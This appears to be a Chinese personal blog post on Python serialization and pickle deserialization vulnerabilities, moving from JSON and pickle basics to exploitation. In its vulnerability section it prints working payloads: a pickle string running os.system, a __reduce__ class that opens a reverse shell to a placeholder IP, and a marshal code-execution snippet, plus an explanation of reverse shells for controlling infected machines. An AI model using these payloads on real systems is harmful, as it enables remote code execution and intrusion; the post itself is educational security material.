• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

Python反序列化漏洞

2020-06-19

1. 序列化(Serialization)和反序列化(也称为解编组、deserialization、unmarshalling)

序列化与反序列化是开发过程中不可或缺的一步,简单来说,序列化是将对象转换成字节流的过程,是将对象状态转换为可保持或可传输的格式的过程,而反序列化的是将字节流恢复成对象的过程

1.1. 数据交换协议

序列化与反序列化为数据交换提供了可能,但是因为传递的是字节码,可读性差。在应用层开发过程中不易调试,为了解决这种问题,最直接的想法就是将对象的内容转换为字符串的形式进行传递。具体的传输格式可自行定义,但自定义格式有一个很大的问题——兼容性,如果引入其他系统的模块,就需要对数据格式进行转换,维护其他的系统时,还要先了解一下它的序列化方式。为了统一数据传输的格式,出现了几种数据交换协议,如:JSON, Protobuf,XML。这些数据交换协议可视为是应用层面的序列化/反序列化。


JSON

JSON(JavaScript Object Notation)是一种轻量级,完全独立于语言的数据交换格式。目前被广泛应用在前后端的数据交互中。

1
2
3
4
5
6
7
8
9
10
"value" : [
{
"name": "zhangsan",
"gender": 1
},
{
"name": "lisi",
"gender": 2
}
]
协议性能数据大小可读性
JSON良良优
Protobuf优优差
XML中中中

1.1.1. Serialization vs JSON

JSON is a format that encodes objects in a string. Serialization means to convert an object into that string

2. python序列化

python中序列化通常有两种方式:pickle模块和json模块

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

data = ['aa', 'bb', 'cc']
# 序列化
p = pickle.dumps(data)
print(p)
# b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'

# 反序列化
d = pickle.loads(p)
print(d)
# ['aa', 'bb', 'cc']

2.1. flask序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, jsonify

app = Flask(__name__)

tasks = [
{
'id': 1,
'title': u'订阅 python_mastery 专栏',
'description': u'专栏Link: https://xiaozhuanlan.com/python_mastery'
},
{
'id': 2,
'title': u'订阅 pythonml 专栏',
'description': u'专栏Link: https://xiaozhuanlan.com/pythonml'
}
]

@app.route('/api/v1.0/tasks', methods=['GET'])
def get_tasks():
return jsonify({'tasks': tasks})

if __name__ == '__main__':
app.run(debug=True)

3. 反序列化漏洞

本质上是pickle模块底层执行时会把一些字符解释为特定意义

  • c:以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行。
    1
    2
    cos
    system
    相当于os.system
1
2
3
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)

3.1. 漏洞利用

通常在解析认证token,session的时候。现在很多web都使用redis、mongodb、memcached等来存储session等状态信息

  • NoSQL

3.1.1. __reduce__

python中的类有一个__reduce__方法,类似与PHP中的wakeup,在反序列化的时候会自动调用


当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("xxx.xxx.xxx.xxx",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]); '"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)

3.2. 反弹shell

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转

1
2
3
4
5
6
7
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

pickle 是不能序列化代码对象的,但是自从 python 2.6 起,Python 给我们提供了一个可以序列化code对象的模块Marshall

3.3. 任意代码执行

1
2
3
4
5
def code():
import os
os.system('whoami')

code_pickle = base64.b64encode(marshal.dumps(code.func_code))

源码审计

  • eval(open('/flag.txt','r').read()
  • import commands return (commands.getoutput,('ls /',))

4. 参考

  • 序列化与反序列化 - 掘金
  • python中的序列化和反序列化使用_jasamha的博客-CSDN博客_python序列化和反序列化
  • 浅谈python反序列化漏洞_Lethe’s Blog-CSDN博客_python反序列化漏洞
  • 反弹shell原理与实现 - iouwenbo - 博客园
  • Security
  • Web Security
信安小知识-2
网络小知识-1
  1. 1. 1. 序列化(Serialization)和反序列化(也称为解编组、deserialization、unmarshalling)
    1. 1.1. 1.1. 数据交换协议
      1. 1.1.1. 1.1.1. Serialization vs JSON
  2. 2. 2. python序列化
    1. 2.1. 2.1. flask序列化
  3. 3. 3. 反序列化漏洞
    1. 3.1. 3.1. 漏洞利用
      1. 3.1.1. 3.1.1. __reduce__
    2. 3.2. 3.2. 反弹shell
    3. 3.3. 3.3. 任意代码执行
  4. 4. 4. 参考
© 2024 何决云 载入天数...